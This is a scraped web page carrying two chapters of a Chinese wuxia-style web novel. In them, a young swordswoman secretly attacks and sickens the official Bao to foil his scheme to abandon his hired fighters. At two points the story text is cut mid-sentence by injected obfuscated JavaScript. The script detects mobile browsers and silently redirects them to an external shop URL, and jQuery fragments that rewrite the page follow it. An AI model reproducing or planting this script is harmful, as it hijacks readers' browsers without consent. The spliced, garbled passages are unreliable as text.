《还是先把师兄搞到手吧》
3. 秋坟鬼唱鲍家诗(三)
昨晚有人行刺鲍使相,没成功,但也没被抓住。
花无杞有幸没被打成猪头,全靠这个刺客搅局。
不过他现在变成猪头了。
梅镇绮搁置的那顿暴揍,到底是补上了。
“谁说我不说这事了?我要说的,我只是还没说。”猪头嘴硬。
梅镇绮一把提起刀。
猪头不吱声了。
昨夜花无杞自揭开老底时,本该被人一哄而上毒打,谁料鲍使相屋里一声暴喝,赌钱的、出千的俱都慌了,想起自己究竟是来干嘛的了,顿时一窝蜂地去捍卫自己未到手的荣华富贵了。
一夜折腾,不敢造次,一帮人硬是憋到清晨下值才打上门来,挨了梅镇绮一顿暴打,又灰溜溜地走了。
都是乌合之众,嘴上没把门的,只一会儿功夫,鲍使相麾下就没人不知道这事了。
启程之后,有意无意凑过来看猪头的人就没停过。
师妹最可恶,睁着一双漂亮的大眼睛,泫然欲泣,朝每个假装路过的人拼命摆手,“不要看我三师兄的猪头,我三师兄真不是被打成猪头的,他就是昨天没睡好,脸有点肿。”
花无杞没忍住,破口大骂,“易肩雪,你再说一个字试试呢?”
二师兄潘一纶正义凛然,“老三,怎么和师妹说话呢?师妹,不要怕,你三师兄不是故意凶你的,他就是变成猪头心里难受。”
师妹更楚楚可怜了,拼命摇头,“二师兄,我不怪三师兄,他也不想变成猪头的。”
就连原本没想看猪头的人也跑过来了。
花无杞脸色阴得可以滴水。
可惜猪头在这方面略有所限,只能让人看出他是个很不高兴的猪头。
特意来看猪头的人很高兴地走了。
易肩雪终于玩够了,悠悠地坐在一匹枣红小马背上,专门歪了半个身子过来欣赏猪头,看完了还笑眯眯地说风凉话,“三师兄,你若是抓住了刺客,这会儿也就不用变成猪头了。”
潘一纶笑得嘴都歪了,抢着说,“一帮人赌钱,结果就他一个变猪头,其他人都好好的。”
大师兄暴揍癞虾蟆,却没对脸下手,留几分脸面,不是给癞虾蟆的,而是给鲍使相的。
人家鲍使相浩浩荡荡招揽一批高手,拉出去一看,一排猪头,那鲍使相的面子往哪搁?
鲍使相没了面子,那还有什么前因后果孰对孰错?猪头和猪头捕手,一个都逃不掉。
揍自家师弟就不一样了,反正花无杞当值赌钱本就不对,猪头越大,越能展现同门们的深刻反思和正直门风,也能让鲍使相看一看,本门有错必罚绝不手软,和那帮当值赌钱还不知反省的癞虾蟆可不一样。
为了维护师门的荣誉,大家齐心协力,务必要让花无杞成为这一行人中最闪耀的猪头。
鲍使相有没有看见不知道,反正其他所有人都看见了。
花无杞狠狠憋了口气,假装没听见。
“那刺客一定也有疾瑕,我去追了,没追上。”他阴恻恻地说,“跑得比耗子还快。”
疾瑕。
易肩雪师兄妹四人、今早挨揍的七八个癞虾蟆,连带着鲍使相一路招揽的各路奇人高手,都是“种玉人”。
这门修行之法说来容易:只需一块平平无奇的顽石,温养九十九日,若修行者能与之契合,便能将这块顽石种在丹田里,历经一百八十日,化为一块无瑕美玉。
这块无瑕美玉,唤作“长生玉璧”,能强身健体、延年益寿,传说是上古旅人行至群玉山,谒见西王母,得赐长生之法。
后来不知是哪个聪明鬼,从长生玉璧中修出一道气,气蕴锋锐,将长生玉璧破开一道裂瑕。白玉有瑕,种玉人却多了一项远超常人的天赋,或是攻击时锋锐无匹,或是生龙活虎元气健旺。
长生虚无缥缈,神通却信而有征。
几百年来,无数天才钻研此道,如今种玉人中修为最高者,能破五道瑕。
花无杞所说的“疾瑕”,就是这五道瑕之一。
有了疾瑕,行动时便迅捷如电。
每个人先破哪道瑕都不同,花无杞恰有疾瑕,昨夜追荣华富贵追得很卖力,奈何还是没追上。
“昨晚要是小师妹在那儿,肯定就能追上了。”潘一纶绝不错过任何一个讨好小师妹的机会。
易肩雪也有疾瑕。
几个月前,她破开了第三道瑕,比二师兄和三师兄都多一道。
“追上谁?”大师兄骑着头黑驴从队伍前列回来。
朝廷缺马,所以鲍使相也缺马。
“使相”这个称呼是敬称,鲍使相真正的官衔是节度使兼同中书门下平章事,既是藩镇,又是宰相。
鲍使相被派去河东,赈济旱情也只是个名义,实际上是去收拾拥兵自重但疑似拥不动了的节度使。
动兵,就要用马。
亡命之徒们为了荣华富贵对鲍使相很上心,鲍使相为了自己的荣华富贵也很上心,搜罗来的那些马都用在军营里了,只自留了几匹,心腹尚不够分,他效仿孟尝君搜罗来的鸡鸣狗盗之徒们,自然就只能骑驴了。
委屈诸位,回了长安就好了。
——鲍使相是这么说的。
到了长安是不是真的会好,那谁也不知道,但他官大他说了算。
师兄妹四人有名气、有实力,颇得鲍使相看重,有幸分得一匹并不高大的枣红小马,和三头相当于驴中吕布的大黑驴——仅比那头枣红小马矮了半个头。
骑马的当然只能是师妹。
骑驴的自然就是师兄了。
梅镇绮骑着驴布,与鲍使相最信重的四道瑕高手搭上了几句话,无奈驴布没有人家的马超脚程快,索性又拨辔回来了。
“追刺客。”易肩雪说。
梅镇绮神色淡淡的。
“已经追丢了,还想这些做什么?”他横了花无杞一眼,没好气地说,“那刺客空手硬接了梁护军三剑,毫发无伤。你要真追上了,现在倒也不必刻意摆个死人脸,我直接给你找个棺材塞进去就是了。”
梁护军是鲍使相从长安带来的心腹,也是这队伍里唯一的四道瑕高手,平时不大拿正眼看他们这些江湖草莽,梅镇绮能和他说上几句,但也有限。
易肩雪偷看他脸色,突然凑近了。
“受气啦?”她眼睛乌亮亮的。
梅镇绮不由顿了一下。
受气?那是必然的。
梁护军成名多年,自然看不上他们这种半路草莽。
再说,实力本也不如人,你又凭什么让人家正眼相看呢?
师兄妹四个在河东时固然有一点名气,但天下英雄如过江之鲫,四尾游入了江水,连一点水花也不曾溅起,想叫人把你当个人看?凭什么?
这些事,他知道她知道。
但这不代表梅镇绮要把这乌七八糟的事带给师妹。
做师兄的,这点事也不能扛,那还要他这个师兄做什么?
梅镇绮抬眼,没说话,屈起指节,在她额头上不轻不重地敲了一下。
“哎呀!”易肩雪这回是自己把脑门送上门了。
她捂着额头,嚷嚷起来,“没争气,你死定了!”
听过这绰号的和没听过的都要笑不笑地看过来。
梅镇绮岿然踞在黑驴背上,森森然声色不动,蓦然抬眸回望,露出那双如含着两点寒火般的眼睛,似乎能将一切烧穿。
那若有似无、要笑不笑的打量便都消失了。
只有师妹突然凑得特别近的脸。
“啪。”梅镇绮额头微疼。
“易肩雪!”他骤然提高了嗓门。
但师妹已驱着枣红的小马跑远了,只留下一串可恶又得意的欢快笑声。
梅镇绮指尖点着被她弹过的地方,沉着脸,呼出口气,却从唇齿罅隙里溢出点无可奈何又不由自主的笑声来。
“你跑慢点。”他没好气地喊。
东主鲍使相还在,卖命的能这么撒欢吗?
易肩雪驱马跑了二三十步就拉住缰绳了。
鲍使相的马车正与她并辔,不紧不慢地向前走。
大约是被她恣意无畏的笑声惊到了,马车里有人卷起布帘,朝她投来审视的一瞥。
梅镇绮追了上来,恰窥见布帘后的人。
他下颌微微绷紧了。
“小易姑娘,”鲍使相叫出了她的名姓,“何事如此欢喜?”
易肩雪拉着缰绳,绕开几个护卫在马车周边的人,与马车只隔一骑
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17439997|201016||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,慢悠悠地向前走。
“使相,我听说您昨夜遇刺了,您现在身体怎么样?”她问。
“大胆!”鲍使相的心腹顿时怒斥。
使相问什么,她就要答什么,哪有她反过来问使相的道理?何况还是这样不该问的问题?
鲍使相隔着马车窗审视她。
一张过于明媚鲜丽的年轻的脸。
让人无端想起“一汀烟雨杏花寒”,但又不是愁绪,是闲卧小楼听春雨,为赋新词故伤春的悠游快活。
天真、轻快,不知愁滋味,往往也意味着这是个傻瓜。
她还有三个对她宠爱备至的师兄,她骑着他们分到的唯一的马。
一个备受宠爱的漂亮天真傻瓜,常常会把她自己和她身边的人一起拖进泥沼里去。
鲍使相对这天真明媚的姑娘报以宽厚的一笑。
“一点皮肉伤。”他说,“并无大恙。”
“那真是太好啦!”天真漂亮的傻瓜欢快地说,“我三师兄是个傻瓜,什么也说不清楚,害我担心了好久。”
这世上最有趣的事,莫过于看一个傻瓜说别人是傻瓜。
鲍使相被她逗笑了。
这姑娘就像一道好春光,将阴霾一瞬照亮。
他瞧见这姑娘的目光在他身旁明晃晃地刮了一下,半点也不掩饰她的好奇。
她的心思好像全都写在她的脸上,谁都能读懂。
“这位是幽赏园的顾处士。”鲍使相将布帘往上拉开一点,让易肩雪看清车中的另一个人。
那是个三十来岁的麻衣女子,皮肤很白皙细腻,下颌到耳根处有一道细长的伤疤。
她端然恭谨地坐在马车的角落里,只在鲍使相提到她时,朝易肩雪微微颔首。
“越楼,你别看这姑娘年轻,她和她师兄一样,已是三道瑕的高手。”鲍使相对顾处士说,“当初在河东的时候,东福节度使很看重他们师兄妹,把他们举荐给了我。”
东福节度使是师兄妹四人的上一个东家。
鲍使相到河东大展身手后,东福节度使身段很柔软地向朝廷剖白了一颗深埋了二十年也没人瞧见的碧血丹心,听说鲍使相在招揽高手,就把师兄妹四人举荐过来了。
顾越楼很客气,“果然是少年英杰,使相麾下人才荟萃。”
鲍使相哈哈一笑,“你若是看得上,等我们到了你家园子里,我把她借给你使唤几天,如何?”
梅镇绮坐在黑驴背上,与易肩雪并排跟在马车边,不作声地听车里两人推来让去,最终地位低的自然承了地位高的美意。
“那就多蒙顾处士不弃啦。”师妹还轻快地装着傻瓜。
他还是不作声。
鲍使相放下了布帘。
梅镇绮和易肩雪放缓速度,又回到队伍后方。
潘一纶和花无杞还在拌嘴。
梅镇绮没去搭理那两人。
“方才那个顾处士,以前没见过。”他说。
这一行人从河东启程,彼此谈不上多么熟识,但至少应该见过。
易肩雪很快活地笑一笑。
“昨天夜里来的。”她像是在说一件很平常的事。
梅镇绮猛然转过头去看她。
昨天夜里来的?
她怎么知道?
但易肩雪偏不说了。
她微微地扬着下巴,悠悠地坐在马背上,愉快地守口如瓶了。
她不想说的事,这世上就没有任何人能问出来。
梅镇绮看见她唇边那点甜如蜜的弧度,心里就冒火。
他沉着脸,一直等到鲍使相吩咐众人停下歇脚。
鲍使相的心腹支了口锅,煮些热水给使相暖暖肚肠,大家也都沾光,乱哄哄地去取些热水。
花无杞被打发去取了水回来,阴着猪头将水囊递给同门们。
易肩雪眉眼微挑,接了水囊。
“我可是你的大恩人,”她对花无杞说,“你打算怎么报答我?”
花无杞瞪着眼睛看她,不知道她又在说什么鬼话。
易肩雪低着头笑得止不住。
“昨晚那个刺客是我。”她说。
一阵幽风吹过。
三个师兄愣愣地看她,呆若木鸡。
4.秋坟鬼唱鲍家诗(四)
倘若是鲍使相在这里,他绝不会多么惊讶。
招揽的高手中有仇人或刺客,这是再正常不过的事。
但正因为三个师兄熟悉易肩雪,他们才目瞪口呆。
没有人比他们更清楚,易肩雪既不是鲍使相的仇人,也不是谁收买的刺客。
投靠鲍使相,甚至是她选的。
现在她说她昨晚去刺杀鲍使相了。
……她图什么啊?
潘一纶呆滞许久后,猛然转过头,四下观望。
“没外人。”易肩雪说。
她早就探查过了。
三个师兄又瞪着眼睛看她。
梅镇绮心里恼火得不行。
他比两个师弟更多一重惊愕——她昨夜不是来他屋里了吗?
有昨夜那件不太能说的事,梅镇绮压根就没往她身上想,他也不大好意思回想昨晚的事,就这么囫囵过去。
这会儿倒是不得不想了。
敢情她昨夜偷偷溜出去当了一回刺客、空手接了四道瑕的梁护军三剑、和花无杞夤夜比了一回速度,慢悠悠地回到自己屋里做了个梦,还有力气摸进他屋里又哭又闹?
这位精力过人的神秘刺客还在嫌弃追兵,“三师兄,你跑得也太慢了,我原本还在想要不要和你直说,谁想到我接了梁护军三剑再跑,你居然也追不上。”
花无杞木木地看着她。
半晌,他才跳起来,恶狠狠地说,“我要是追上你了,我可不会放你走。”
易肩雪纳闷极了,“你拿什么不放我走?”
他打得过她吗?
花无杞被她气得要死。
“要不是昨晚我给你解围,你早就被人打成猪头啦。”师妹还要说。
花无杞恨不得把她瞪出个窟窿。
他现在难道就不是个猪头了?
这下可是完了,他明明没和她里应外合,鲍使相也得这么认为了。
“你们本来就和我是一伙的。”师妹拎着水囊晃来晃去,“我要是被抓住了,绝不会放过你们的。”
你看她、你看她,这说的还是人话吗?
师兄们都很崩溃。
她到底图啥呀?
“我是为了救你们呀。”师妹眨着眼睛,理直气壮。
她就没有不理直气壮的时候。
梅镇绮还有点恼火,但也习惯了。
“说明白点。”他没好气地说。
不谢她就算了,他这么凶干嘛?
易肩雪哼了一声。
“到了幽赏园,老鲍会装病不见人,自己偷偷带着心腹跑路,把你们留下来。”她说,“等到他的仇家追来,大家都是替死鬼。”
这话可把师兄们给震住了。
“什么仇人?鲍使相不是宰相吗?还有人敢杀他?”潘一纶说。
“把我们当替死鬼?狗日的竟然不是真心赏识我们?”花无杞说。
话一出口,彼此望望,又被对方给震住了。
梅镇绮懒得管那两人。
他屈膝往地上一坐,满腔的恼火却好像不见了,有几分冷笑,但不算多。
“一次都没打过就跑了。”他说,“后面人什么来头?五道瑕?”
潘一纶和花无杞听出点不对。
怎么大师兄的语气一点也不惊讶?
“从东福启程时,晓行夜宿,直奔长安,近半月里却绕了四次路。”梅镇绮不耐烦地解释,“这一路又没有乱兵,不是躲仇家,还能是什么?”
他要是不解释,潘一纶和花无杞都不知道他们绕过路。
“他骗的就是你们这种从没离开过河东的土包子嘛。”师妹托着腮,悠悠地说,“只要给五个橘子,就会把他当成伯乐,其实人家是庖丁。”
花无杞的学识不足以帮他搞明白这俩哥们是谁,但师妹的意思是很明白的,他自觉被狠狠冒犯了,顿时阴郁得像是墙角的蘑菇。
梅镇绮手肘搭在膝上,拇指一挑,打开水囊。
隐情分明,他那股子无名火倒没了,“你怎么发现的?什么打算?说吧。”
一切,依然始于五个橘子。
师兄妹四人分到了五个橘子,易肩雪拿了两个,却不慎关爱了三师兄一个,心里很是不高兴,便摸到厨下,试图再寻摸一个橘子来。
鲍使相分给心腹的橘子,比分给亡命之徒的多。这些天里,易肩雪对心腹们的性情略有了解,骗个橘子不是难事。
就是在厨下闲聊时,她听说鲍使相吩咐夜里要备点茶菓子吃。
易肩雪比顾越楼还早到鲍使相的书斋。
她也没什么凭据,只是觉得鲍使相夤夜见客,连不少心腹都瞒着,十分奇怪。就算没听到什么有用的事,她也没损失。
“那个顾越楼祖上出过大官,但这些年大乱小乱频频,顾家已经没人有官身了。”易肩雪说,“鲍使相许诺,只要顾越楼帮他金蝉脱壳,等他回了长安,就给她官做。”
花无杞听到这里,眼睛都红了。
“凭什么给她官做?咱们不比她能干?她几道瑕啊?”他气得要命,“五个破橘子把咱几个打发了,靠!”
师兄妹们不语,只是默默看他。
祖上有大官的故旧子弟,和刀口舔血来历不明的亡命之徒,能比吗?
大伙给这个卖完命,又给另一个卖命,是不喜欢安稳日子吗?
人家再落魄,也是住着一个毗邻长安的大园林,喝着茶、抚着琴的落魄,能和你河东臭要饭的一样吗?
花无杞也真是的,说出这么没有自知之明的话,搞得大家都很没面子。
梅镇绮把水囊塞上。
“行了。”他嗓音沉冷,打断花无杞没谱的抱怨,“你要是有五道瑕,什么鲍使相、大司徒,都要请你去做官。你有吗?”
花无杞可不上当,“那姓顾的也不是五道瑕啊?”
梅镇绮的耐心告罄。
“那你姓顾吗?”他森然说,“现在不是师父把你从死人堆里捡出来的时候了,你以为自己卖得上价了是吗?”
气氛骤然冷了下来。
师弟们顿时都不说话了。
只有易肩雪,一手支着腮,一手把水囊的塞子拨得噼噼啪啪响。
“大师兄,你要把三师兄卖给谁啊?”她笑眯眯地捣乱。
梅镇绮于森然怒火中不得不停下。
他懒得理她,但又不训她,只好冷淡看她一眼,试图让她自己消停一点。
易肩雪不理。
师兄妹四人里,易肩雪的地位是最特别的。
四人的师门叫“小铜庐”,这名字是他们共同的师父随便取的,引了“天地铜炉”的典,但又化用得特别潦草。
小铜庐收徒也特别潦草。
当年他们师父从幽燕一路向西,在遍地的乱军乱匪里穿过,顺手捡了三个资质不错的孩童充作剑僮,这就是易肩雪的三个师兄。
说是剑僮,但师父对这三人倾囊相授,并不藏私,后来他将亲侄女接来小铜庐,也不许侄女将他们视作仆僮,只令她称呼他们“师兄”。
易肩雪就是那个侄女。
不过,人心幽微,并不是一个称呼能定论的。
易肩雪在小铜庐总有些微妙的特殊。
大师兄梅镇绮是这样待她,其他两个师兄也如是。
对于这种微妙的地位,善良温柔的好女孩会竭力摆正、抹平,可惜易肩雪和这两个词一点关系也没有。
她不仅笑纳,还纳得理直气壮。
“你不能把他卖了。”易肩雪对大师兄说,“你们都是我的,只有我能卖。”
师兄们不吱声。
她真是这么想的,也一直是这么说的。
大家都相信。
梅镇绮那一腔怒火都给她气散了。
他懒得看她,手肘支在膝上,微微呼出口气。
日光照落,他像一尊沉默森立的石像。
冷峭、巍然、嚣嚣不逊,让人不自觉想退避,最好绕着他走。
纵然将这石像搬进庙宇里,也只能是尊凶煞。
实在不像个好人样子。
他说的也实在不像个好人会说的话。
“给人卖命不就是为了活出个人样吗?”他语气淡淡的,“去争、去抢,现在没有的,早晚会有。”
拼尽全力去争别人生来就有的东西,不丢人。
不体面,不风光,还很脏。
但这世道留给他们的路,就这么一条。
“有路就走,”梅镇绮说,“哪儿那么多废话?”
师弟们唯唯。
只有师妹支着腮,梦梦查查,神游天外。
这世道只给她留了一条路吗?
她不信。
“易姑娘。”有人远远地喊她。
顾越楼推不过鲍使相的美意,被硬塞了一个三道瑕,这会儿就打算用上了,派了人来叫她。
易肩雪起身要走,被梅镇绮一把拉住。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17442415|201016||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“你还没说你的打算。”他简短地说。
易肩雪低下头看他一眼。
她略有点得意地哼笑了一声。
“什么也不用做。”她说,“今晚没人会离开幽赏园。”
顾越楼把易肩雪叫到身边,却没有什么事要吩咐,只是拉着易肩雪有一搭没一搭地聊天。听说易肩雪从小和师兄们一起长大,遇上三年大旱,师父不知所踪,只能和师兄们一路漂泊,竟露出几分恻隐。
易肩雪盯着顾越楼那张白净的脸看了半天,也没看出一点假。
“你……若是往后没地方去,可以来幽赏园找我。”顾越楼斟酌字句,“你的师兄们也可以和你一起过来,我这里虽然没有什么富贵前程,但几个人的衣食还是出得起的。”
这话说得很委婉。
什么“若是往后没地方去”,其实是想说“被鲍使相当替死鬼后”吧?
易肩雪长这么大,还是第一次遇到陌生人要养她。
就因为她可怜?
连她师兄都愿意一起养?
这个顾处士,怎么看起来像个好人啊?
……好人会和鲍使相搅合在一起?
易肩雪不太信。
“谢谢顾处士。”她朝顾越楼甜甜地笑了,故意说,“不过,等我们到了长安,一定会好好为鲍使相做事,应该不会没有地方去吧。”
顾越楼一噎。
她盯着易肩雪那张天真的笑脸,张张嘴要说话,却又苦笑。
“唉,说得也是。”她移开目光,语气略有点干涩,“鲍使相……定不会辜负你们的。”
天啊,这好像真的是个有良心的好人?
死几个萍水相逢的亡命之徒,居然也会不忍?
易肩雪这辈子也没见过几颗良心,更别说好人了。
“顾处士,”她好奇得不得了,“你是个好人吗?”
哪有人这样问问题的?
顾越楼失笑。
“难道你不是?”她说,“哪有人会说自己不是好人的?”
“我不是啊。”眼前天真明媚如杏花春雨的姑娘说,“我是给人卖命的嘛,以前给节帅办事,现在给使相办事,给人卖命,做的当然都是坏事啦。”
顾越楼悚然一惊。
她望着易肩雪,几乎说不出话来。
易肩雪的坏心思还没结束。
“如今这世道,杀人放火金腰带嘛。”她轻快地说,“做好人,死得最快啦。”
就像是她梦里的那个幽赏园。
曲水流觞,被血染红;廊腰缦回,遍地横尸。
死得一个也不剩。
易肩雪觉得自己还挺会做梦的。
像顾处士这样心软又有良心的好人,在这个世道里,一不小心就死了。
鲍使相金蝉脱壳,脱掉的只是十几二十个亡命之徒吗?
不是还有一整座幽赏园吗?
顾处士答应襄助鲍使相的时候,做好付出代价的准备了吗?
顾越楼一言不发。
往后一路,她的话都少得可怜,直到暮色四合,幽赏园已在眼前。
作为此间主人,顾越楼勉强打起精神,将鲍使相一群人暂时安顿下来,心里还揣着易肩雪那番莫名令人悚然的天真话语,独自前往鲍使相的居所。
按照前一夜的约定,鲍使相明面上“水土不服,当夜大病,缠绵病榻”,实则今夜连觉也不睡,直接带着心腹从小路离开幽赏园,直奔长安。
顾越楼只需配合鲍使相留下的那几个心腹,演完这场金蝉脱壳的大戏,骗过鲍使相手下的亡命之徒,和后续将至的追兵。
然而当顾越楼踏进鲍使相的院子时,她就知道这出戏唱不成了。
“顾处士,大事不好!”鲍使相的心腹面如金纸,“我家使相当真水土不服,上吐下泻,站也站不住,凶险之极。快去请大夫来!”
装病的鲍使相,真的抱病了。
“假戏真做。”离鲍使相略远的院子里,有个天真漂亮的傻瓜说,“鲍使相想生病,我就帮帮他嘛。”
给人卖命,就是要为君分忧。
她不惜暴露自己,硬接梁护军三剑,可不是为了给鲍使相一点皮肉伤的。
易肩雪很满意。
“这下好了。”她说,“我们可以合计一下,怎么把鲍使相偷出来带走了。”
金蝉脱壳?真是好办法。
不过,到底脱哪个壳,鲍使相应该不强求吧?